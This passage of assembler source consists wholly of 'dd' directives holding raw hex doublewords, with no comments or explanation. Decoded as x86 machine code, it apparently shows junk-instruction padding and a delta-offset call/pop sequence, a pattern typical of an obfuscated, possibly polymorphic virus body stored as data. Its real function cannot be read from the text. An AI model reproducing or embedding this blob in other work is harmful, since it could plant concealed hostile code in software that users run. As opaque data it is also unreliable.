		dd 0C3524200h, 0EE7F057Dh, 9304B7Bh, 31DF8B66h,	2C33619Dh
		dd 2E858D06h, 0E90630BFh, 13h, 2038018Eh, 51D0806h, 0BE6C8BDFh
		dd 37DCBEF5h, 83AB9C4Bh, 11E805C0h, 0C9000000h,	24337D53h
		dd 137D73DDh, 566DF238h, 34F951Ch, 23ED8D01h, 905F062Ch
		dd 6A9050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 7C1CAFC3h, 16F6FF6h, 2C162D9Dh, 0E9006A06h
		dd 0Ah,	0F94FEBD6h, 0A66A274Fh,	6A207Ch, 0E3C8F781h, 858910D9h
		dd 62C1CE1h, 239D95FFh,	6A062Ch, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 49CFBDC3h, 1554E23h
		dd 0A0428D8Dh, 0BD8B062Fh, 62C0B9Dh, 8960D1FFh,	2C1C3985h
		dd 95B58906h, 61062C1Ch, 9A1BD83h, 0F01062Ch, 5785h, 5E42BF00h
		dd 26A65A0h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0D6C35141h, 91082AB6h, 8B66FC8Ah, 10E890DAh, 60000000h
		dd 0C5C3B4CAh, 5A14893Fh, 7A1C2D6Bh, 0B7CB3FF7h, 90505BEBh
		dd 95FFF98Bh, 62C0589h,	9589D98Ah, 62C12FDh, 0EEAE9h, 0E800h
		dd 815D0000h, 30BF38EDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0E8C2E340h, 3608BB66h
		dd 89DBB70Fh, 2C204995h, 81665006h, 5BD6D7EFh, 9AD3858Dh
		dd 6A062Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 3F9A28C3h, 20F059F4h, 8DBD0B4Eh, 0F062C1Ah
		dd 58Ch, 0B53FBF00h, 0E9904DB9h, 12h, 36693C56h, 88C9A304h
		dd 7F3FCB19h, 0BB1B1978h, 0BB506E8Fh, 1F9C0E20h, 0DE95290h
		dd 85000000h, 72E1534Dh, 0A902F10Dh, 0EBABA1A5h, 47BB665Bh
		dd 35FF647Fh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F3C35040h
		dd 0F18769DFh, 0D5954214h, 7DBD8BF7h, 64062C0Bh, 2589h
		dd 0BF0F0000h, 6985FFD8h, 6A062C1Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 2FBCC350h
		dd 0C4FA4AFCh, 5D8529FCh, 6A062C0Eh, 57006AFFh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0C9CF3DA6h
		dd 10E9DCFCh, 0DB000000h, 0C784504Bh, 78630C4Bh, 6134E13Dh
		dd 890B7343h, 2C0635BDh, 0F9B5FF06h, 0E9062C11h, 0Dh, 34567571h
		dd 7B9719FCh, 6B11DDA2h, 0C595FF12h, 0E9062C04h, 0F7h
		dd 29E5BD0Bh, 0B0062Ch,	8970E6F8h, 2C212DB5h, 6671E406h
		dd 3C5B47BFh, 0D8830F61h, 0E9000000h, 0Ch, 9583EB0Ah, 0B968050Ch
		dd 6C55BBE9h, 8BC8B60Fh, 2C0B199Dh, 6BA06h, 0BD890000h
		dd 62C20C9h, 8166C18Bh,	0C1410ECBh, 0FE904E8h, 6C000000h
		dd 525A856Fh, 4AD0A8C5h, 145A4F76h, 0F766925Dh,	2BDF8BE2h
		dd 9BD09C8h, 8B062C24h,	0D1BD31D1h, 0E9062C13h,	5, 9F78166h
		dd 69858B96h, 8B062C15h, 2C1BE5BDh, 7C08306h, 0B700C083h
		dd 0FD03BFDh, 1583h, 97BF6600h,	0C9BD8BC7h, 0E9062C1Fh
		dd 4Bh,	0DA59D8Bh, 8D8B062Ch, 62C04EDh,	4EF78166h, 1E183A5h
		dd 31840Fh, 8E90000h, 58000000h, 0B93FB571h, 8B9C5DC6h
		dd 2C2DF59Dh, 0EDA58306h, 0FE062C04h, 22599D29h, 9589062Ch
		dd 62C1569h, 0EE5B529h,	0E9062Ch, 8D000000h, 3016DEB5h
		dd 71BD8906h, 6A062C0Eh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 1FCF63F1h, 8969592Fh
		dd 2C25B1B5h, 3820F06h,	66000000h, 95FFD88Bh, 62C26B1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2FC35141h
		dd 8E601FBAh, 27AD3AF3h, 5C66BB66h, 32C19531h, 5BB9062Ch
		dd 6A000008h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0E965C352h, 0Ch, 47DE7DD4h, 541A94C7h
		dd 0CFE29CF4h, 880F53h,	5B000000h, 6AFCE183h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0F108C355h, 6F4817B7h, 0D5EB81C1h, 0FC02E1E3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 38C35545h, 20FFE08Dh
		dd 0BE9F8h, 0B93C0000h,	98652915h, 0FD50DA2Ah, 6AC02BB4h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 5639C351h, 53E2F800h, 0B589502Ch,	62C25FDh
		dd 0DEB70F5Fh, 13959D8Bh, 0BA062Ch, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 217FC352h, 0DE8B66B3h, 0D1C233ADh, 83D003E8h, 0F47504E9h
		dd 14E9h, 0C2DA2C00h, 648E4B79h, 62D486A6h, 99F303C8h
		dd 0B14F334Eh, 55006ACBh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 9A002837h, 93BBCA7h, 880D06AEh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 46DDC353h, 958B838Ah, 62C2BA5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 89C35242h
		dd 0ECB47DDAh, 0D98D8B03h, 50062C12h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0C4DFF833h
		dd 5979A00Fh, 7E8h, 0EAAC3E00h,	0CEA425CCh, 51006A5Fh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 10FCDD4Fh, 6273EC44h, 0EDD9D8Bh, 0BD83062Ch,	62C2071h
		dd 85840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 40E1C357h, 8D31EC45h
		dd 62C002Dh, 0B8h, 159D2900h, 66062C31h, 0DC1CCF81h, 4F518D8Dh
		dd 8B66062Ch, 6AE1FFDAh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 3F18C355h, 3ACC9162h
		dd 0E862FAA0h, 10h, 0F015D6F7h,	0F25F14ACh, 0B239C21Ah
		dd 0DF3F6BDCh, 0F5F77B3h, 382h,	0FABF0F00h, 29C1BD83h
		dd 0F00062Ch, 4BA84h, 0FDBD2900h, 83062C13h, 2C29C1BDh
		dd 840F0106h, 4C2h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0E3C35747h, 0AE949D6h, 16000000h, 0E144331Dh
		dd 0DD645BFDh, 0C1BD8333h, 3062C29h, 452860Fh, 0BB660000h
		dd 6A6021B1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 1F52C356h, 0E983E748h,	0Fh, 0B50EE8DBh
		dd 0F1248726h, 0AB83019Bh, 664AC79Dh, 9D89D98Ch, 62C2625h
		dd 0B704E180h, 0FC90ACFh, 15084h, 8D9D8B00h, 8B062C1Ch
		dd 2C1DF185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 1FC78156h, 330168D3h, 2C0B3185h
		dd 38D0F06h, 66000000h,	8950F88Bh, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h, 11E82AC3h
		dd 0C8000000h, 6D49B13Dh, 91F2B45Bh, 7B67DBCh, 54BFDC46h
		dd 57D9D8Bh, 6A5F062Ch,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 2036AD23h, 23439A54h
		dd 2C0C8DBDh, 9E056806h, 52506F9Ch, 310F85B3h, 10860Fh
		dd 0AE80000h, 22000000h, 962CCB38h, 3FCF0304h, 585A5BD3h
		dd 0FA243481h, 96F839Dh, 2C30FD95h, 85BD8906h, 0FF062C2Bh
		dd 2C346595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0B7CF6108h, 8D0F508Bh, 6,	152D9D01h
		dd 895F062Ch, 2FB02085h, 7DBD8906h, 0F062C1Ah, 884h, 8D895700h
		dd 62C155Dh, 21AE95Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0E6A3EBC3h, 0DAB70F56h
		dd 18858B5Bh, 6A062FB0h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 7E79C350h, 8B668801h
		dd 1800C7F8h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0DA3EC357h,	0CB6F128Ch
		dd 2921BB45h, 8B661E6Bh, 1CB58BF9h, 8B062FB0h, 8B6660D9h
		dd 0DE9C1h, 0B27C0000h,	0ED04E821h, 393E89D9h, 61EDDDC6h
		dd 0C55858Bh, 6A062Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 465E38C3h, 5391EEB5h, 0A05C8ABFh
		dd 6895F50h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0FDC35545h, 5F634140h, 0F599D8Bh, 0F60062Ch, 80h
		dd 0BB666100h, 858B9A96h, 62C1DF1h, 890FCB80h, 6A0446h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 2C4EC8C3h, 50870A0Bh, 32CCBF66h, 6A243489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 10ADC350h, 82B582CFh, 0BDF38166h, 7D9D3153h,	0FF062C1Ah
		dd 2FB018B5h, 0E893B706h, 4, 1F03FFh, 322CBB66h
		dd 35BF5750h, 5B69B323h, 424448Bh, 0EE8h, 0B781A500h, 0AFCF73A7h
		dd 0CA892D06h, 0E949DF13h, 13h,	37387EFEh, 5F640DB7h, 0DC1A8CC2h
		dd 89407533h, 5B4EC847h, 0D98B008Bh, 4244489h, 8B580CB7h
		dd 2C122D9Dh, 20858D06h, 90062FB0h, 66507DB3h, 909345BBh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0D9C35545h
		dd 0F17428EBh, 7CB1064Bh, 0F4F780B5h, 346595FFh, 6A062Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 596E0BC3h, 2D32FE5Ah, 51006A61h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0CBC9E4CDh, 8589C10Fh
		dd 62C20ADh, 77D9D89h, 85C7062Ch, 62C29C1h, 3, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 4BC35545h, 2BCAFA38h
		dd 2C1B6DBDh, 6800F06h,	81000000h, 17DB7DD3h, 20BD833Eh
		dd 62FB0h, 46840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0E42BFAC3h, 0D0C23B9Fh
		dd 0E960A2E4h, 37h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0F8C35343h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0DA5FC355h,	0D7087073h
		dd 6A2D7C89h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0F335C350h, 9666EDABh,	0F3D5898Eh
		dd 91BD8B53h, 5B062C01h, 29C1BD83h, 0F03062Ch, 3EC85h
		dd 0ED958900h, 83062C1Dh, 2FB020BDh, 840F0006h,	3D9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 45C35747h, 0A4174325h
		dd 15BD8BF0h, 0FF062C1Ch, 2FB020B5h, 5858906h, 0FF062C00h
		dd 2C19C995h, 0EE906h, 0DFB70000h, 0EFB6954Dh, 30E2EF9Ch
		dd 6558A746h, 0B014B58Bh, 6A062Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0D78185C3h, 19044CB1h
		dd 106C7h, 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 3BAA72C3h, 0BB1A852Fh, 6E950h, 0E60000h
		dd 725CFDE8h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 2A67C352h, 20B5FF8Fh
		dd 8B062FB0h, 2C33999Dh, 0BD95FF06h, 60062C08h,	8E9h, 2A080D00h
		dd 0E6DE3AEAh, 0FD850977h, 61062C20h, 0B014B58Bh, 12E9062Fh
		dd 0A2000000h, 3B5748EFh, 8285E7DAh, 0D95CA43h,	29243FCAh
		dd 32E38176h, 8B5D75BAh, 2C23B185h, 198A0F06h, 0E9000000h
		dd 14h,	7EA1CE56h, 70669F79h, 2D90B2A5h, 9E946B63h, 0A1999C21h
		dd 0C48689h, 958B0000h,	62C2BA5h, 0FE9h, 8A88C400h, 40E0A835h
		dd 71522E0Ah, 0EE1970Fh, 6604C283h, 891319BBh, 6A2050h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 6CB4FDC3h, 858D3931h, 62FC564h, 9E9h, 880C8200h, 0FF037462h
		dd 8689A82Dh, 0B8h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 14h, 61C35040h, 0AE9h, 0A5382C00h,	8A7A110Ah
		dd 0F6CC78Fh, 6ADFB7h, 33C99D01h, 0B5FF062Ch, 62FB020h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 4BC35242h
		dd 0CBA69315h, 0A0F0D982h, 58995FFh, 0D98B062Ch, 89D98A50h
		dd 0B5FF2434h, 62FB020h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 14h, 9EC35545h, 11D995FFh,	6A062Ch, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 896009C3h, 2C29E59Dh, 6D9D8906h, 61062C00h, 7B5BD83h
		dd 0F00062Ch, 3A84h, 0BF0F5000h, 8B965BDBh, 0A1BF50D8h
		dd 9644332Fh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	0ABC35343h, 870F58D8h, 1, 0A9BD23FCh, 0FF062C01h
		dd 2FB020B5h, 5E906h, 16EE0000h, 8B0F7570h, 2C14519Dh
		dd 2995FF06h, 6A062C15h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 9FB7C356h, 14D235D4h
		dd 810F6615h, 6, 15C19D8Bh, 0B5FF062Ch,	62FB020h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CFC35040h, 60BAD6D2h
		dd 0BF0F2A53h, 0FF5F51F9h, 2C047995h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 9C001A28h, 907DDF81h, 0BD83274Ah, 62C1535h, 54840F02h
		dd 0F000000h, 81h, 89858B00h, 6A062C01h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0ED20C350h
		dd 9F26BD7Dh, 7E9h, 96A35B00h, 0A0CAA421h, 0E90000C6h
		dd 13h,	0F5790434h, 3A97029Fh, 0DF504CF9h, 0AEA67CECh
		dd 0C7BD3E25h, 2C166185h, 6, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0DE2F0EE2h
		dd 0E381FA8Bh, 0F541949h, 0F25DE9FCh, 89F5FFFFh, 2C015DB5h
		dd 6AC18B06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0EAFFC351h, 0D4E6BDBDh, 8DC4BC82h
		dd 2C32A585h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0D8320B94h, 0C1B50139h, 90062C12h
		dd 6A9050h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 17h,	0D5C35141h, 8932D2B3h, 2C155195h, 3810F06h, 0F000000h
		dd 6ADBBFh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Dh,	0BEC35141h, 0E165B8BAh,	10584Ch, 9858DF2h, 890630D0h
		dd 2C34718Dh, 5C08306h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 4DC35545h, 6CDF8166h,	359D8B46h, 50062C26h
		dd 5BDE8B52h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 46FBC352h, 3B4FDD08h
		dd 8B66D412h, 0F5006AF8h, 6A5F50h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0DDC35040h,	50375724h, 0DE489ABBh
		dd 95FF5B5Eh, 62C239Dh,	0EE9h, 33B18700h, 58D444B8h, 0C8558F08h
		dd 8DE1714Ch, 2FA0428Dh, 619D8B06h, 0FF062C13h,	0EF8166D1h
		dd 0BD83A56Fh, 62C09A1h, 9C850F01h, 0E8000000h,	0Ah, 7324397Ch
		dd 0D6AE591Ah, 0BD8BBE6Eh, 62C1E35h, 6A026A5Fh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 5167C356h, 7B8BC36h,	0E890B028h, 7, 13A6AB56h, 60D8ECFBh
		dd 810Fh, 52500000h, 585A310Fh,	0E9505B61h, 5, 818BE200h
		dd 6A905Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h
		dd 0C4E6EDC3h, 56800FA4h, 0E89CE781h, 0F5B5A2Bh, 38Eh
		dd 0D88B6600h, 58995FFh, 0E9FC062Ch, 0E4Ah, 0E8h, 0ED815D00h
		dd 630D013h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0E1C35141h, 0DABFA2BDh,	8B60C453h, 161FCF8h, 2C04959Dh
		dd 859D8B06h, 8D062C0Bh, 2F9AD385h, 0E890FC06h,	9, 0D477406h
		dd 7E02C474h, 8E954h, 0A9B50000h, 86D2DF96h, 505B7A58h
		dd 90F98B66h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	9AC35545h, 0A6111E62h, 0BE869h,	0B1FB0000h, 0CED787DFh
		dd 0C9936610h, 5B8AB798h, 14059D29h, 0FF64062Ch, 35h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 9E97764h, 0E4000000h, 83B40A86h, 0C2ACD66Ch,	258964h
		dd 0F000000h, 85FFDFBFh, 62C1A69h, 28C0F60h, 0B1000000h
		dd 0DE8166D5h, 6A612741h, 0DB8166FFh, 0B5FF425Fh, 62C08E1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 52C35141h
		dd 0FFDE8B4Eh, 2C04C595h, 0EFE906h, 89600000h, 2C09B19Dh
		dd 0FA8B6606h, 8B00B061h, 6670E6DFh, 3910DF81h,	0BD3371E4h
		dd 62C1DD9h, 830F613Ch,	0C9h, 20218D29h, 0B60F062Ch, 66DBB3C8h
		dd 6BAFB8Bh, 8B000000h,	299D29C1h, 0E9062C14h, 9, 3B545F66h
		dd 5F021721h, 4E8C1D0h,	559D3160h, 61062C0Dh, 57E2F766h
		dd 66C82B5Bh, 7F47EB81h, 860FD18Bh, 6, 171BD29h, 76E9062Ch
		dd 66000000h, 1B95DF81h, 8858Bh, 0BD890000h, 62C1AA9h
		dd 2907C083h, 2C2A1D95h, 0C08306h, 15659D31h, 0D03B062Ch
		dd 19830Fh, 0DA8B0000h,	44E9h, 9E800h, 40260000h, 0B2545810h
		dd 0F161C69h, 8B5BFAB7h, 0FFFFFF8Dh, 89D88BFFh,	2C21E185h
		dd 1E18306h, 1B840Fh, 8B660000h, 0FFA583DFh, 0FEFFFFFFh
		dd 46F4D381h, 9589640Eh, 8, 0E9h, 0C0B58D00h, 6A063049h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 50FDC352h, 196DC746h, 898B0E46h, 2C2B95BDh
		dd 6A006A06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 64F1C357h, 0E0126F03h,	6CDB8166h
		dd 0B195FF2Ch, 6A062C26h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 61D3C356h, 5C901BA0h
		dd 0E870A497h, 0Bh, 0A2491C4Ah,	790EC53h, 60E527B0h, 0FE9h
		dd 5BF1300h, 1C197339h,	0B0024EA6h, 0DE908DE8h,	11919D89h
		dd 5F61062Ch, 0C4DB8050h, 10BEB95Bh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8B01B1C3h
		dd 2C162DBDh, 0FCE18306h, 0FCDEB70Fh, 0D81BD8Bh, 0B8062Ch
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0C616C350h, 5534F5ECh,	2B81BF2Fh
		dd 518529D2h, 0AD062C06h, 0E8D1C233h, 0E983D003h, 0BBF47504h
		dd 81F638Bh, 6DB8166h, 53006AC2h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 9A0B1CACh, 0B0CFAE30h
		dd 719D8B7Fh, 0D062C2Dh, 88h, 13E9h, 0B8D7E100h, 797CD518h
		dd 1CCFCABDh, 0B8B18A9Ch, 1591DD22h, 2BA5958Bh,	6A062Ch
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 47AA36C3h, 0F582353h, 68Ch, 25BD8900h, 60062C11h, 0E5D38166h
		dd 8D8B6124h, 62C12D9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0B8C35545h, 0F3B94B6h, 685h, 0D9D8900h
		dd 8B062C08h, 2C2135BDh, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 5658188Bh, 151AE381h, 6A5B5C95h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 2B16C351h, 0D1AB17D0h, 0E926DF80h, 0Bh, 567FFDDDh, 204016FEh
		dd 0F36EA7Eh, 8Ah, 71BD8300h, 62C20h, 6A840Fh, 880F0000h
		dd 6, 3169B589h, 0B8062Ch, 8B000000h, 2C09F99Dh, 518D8D06h
		dd 6A062C4Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0FF42C357h, 53006AE1h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 49AE0214h
		dd 0D84DC8DCh, 19B58589h, 9D29062Ch, 62C00E1h, 29C1BD83h
		dd 0F00062Ch, 47084h, 89FB8B00h, 2C10BDB5h, 0C1BD8306h
		dd 1062C29h, 476840Fh, 81660000h, 83192FF7h, 2C29C1BDh
		dd 860F0306h, 42Eh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 19h, 8AC35040h, 0BCA26848h, 0D59589E4h, 60062C19h
		dd 0FE9h, 0D35F3B00h, 1CD0EAC8h, 97E1DECFh, 6CF91A13h
		dd 8BD98C66h, 4E180FAh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0E1C35747h, 0E93EB987h, 11E8BF82h, 0A3000000h
		dd 4A1739A1h, 3F132A83h, 0CCE5EAF7h, 455BFC2Eh,	2A11BD8Bh
		dd 0A5B062Ch, 62840FC9h, 6A000001h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0F593C353h
		dd 0D58A2871h, 0F1858B76h, 6A062C1Dh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0AFFEC356h
		dd 0BC95F33Fh, 23956881h, 21358D89h, 0AE9062Ch,	0A8000000h
		dd 0DD0458A0h, 73A8AE93h, 3185335Eh, 6A062C0Bh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0A64CC350h, 187A0FBEh, 0FA5A1D27h, 206D9589h, 0B350062Ch
		dd 240489C6h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	27C35545h, 0B2584EDCh, 5E297CA5h, 0DA8B5005h, 0F8006A5Bh
		dd 50665368h, 48A0F9Ah,	53000000h, 815F6160h, 9DAC2404h
		dd 9D2B65CEh, 62C1ABDh,	0EE8h, 0E4C8F00h, 53FEDDF1h, 0C2A27EA8h
		dd 607EC9F1h, 8D0Fh, 0DA810000h, 46D8220Dh, 95FF5B61h
		dd 62C3465h, 8589DA8Bh,	62FB020h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 65C35141h, 0A93A67E0h, 0E93FE0CDh
		dd 21Ch, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0EC35646h, 0DA9599B8h, 193BF31h, 2C28E1B5h, 18858B06h
		dd 6A062FB0h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 9DE4C353h, 222DA9DAh, 0AC752780h
		dd 10E8h, 0DDC30C00h, 11EE3548h, 5BD03FD6h, 0A6730C9h
		dd 0C75FDBh, 18h, 3FF4F381h, 0B58B3BDBh, 62FB01Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 88C35646h, 6D3CBAFAh
		dd 0D56A54F0h, 11C19D8Bh, 9D01062Ch, 62C1E59h, 0C55858Bh
		dd 0BD8B062Ch, 62C0C51h, 38D0Fh, 8B660000h, 600689F9h
		dd 30F9BD8Bh, 2BB7062Ch, 11E861h, 0ECA00000h, 0EA54704Fh
		dd 0E1AE2A24h, 913C1EC7h, 8B0B3646h, 2C0815BDh,	858B5B06h
		dd 62C1DF1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	1BC35141h, 6830F89h, 8B000000h,	2C258DBDh
		dd 0B6FCBB06h, 46894278h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 75A799FAh
		dd 89FE8B50h, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 715A9AC3h, 404C8987h, 0FF2FE6C6h
		dd 2FB018B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 18CA6C37h, 960C7097h, 0BD8B1624h
		dd 62C09B9h, 4DB6768h, 81FA8B34h, 0D8982434h, 0EF80341Bh
		dd 20858D15h, 6A062FB0h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 6A4CC357h, 7913F1Dh
		dd 4BBDBBBh, 9004CAB4h,	2800Fh,	0FB8B0000h, 0F525050h
		dd 1A85h, 14E800h, 0A7A50000h, 4492E231h, 0D54D9F66h, 7A46CD5Fh
		dd 0A36E7519h, 0F5B2E7Bh, 0FE8B6631h, 8990585Ah, 2C0899B5h
		dd 6595FF06h, 0F9062C34h, 50006A61h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8B556C58h
		dd 2C1BD5BDh, 0C185C706h, 3062C29h, 0F000000h, 68Eh, 399D8B00h
		dd 83062C24h, 2FB020BDh, 840F0006h, 6, 1CE9h, 3050FC00h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 0DE9C0h, 40BF0000h, 4A2144F3h, 0CFF9CFEDh, 6AE1D9D5h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 5B46C355h, 0C19EB457h, 89F1B362h,	2C345985h
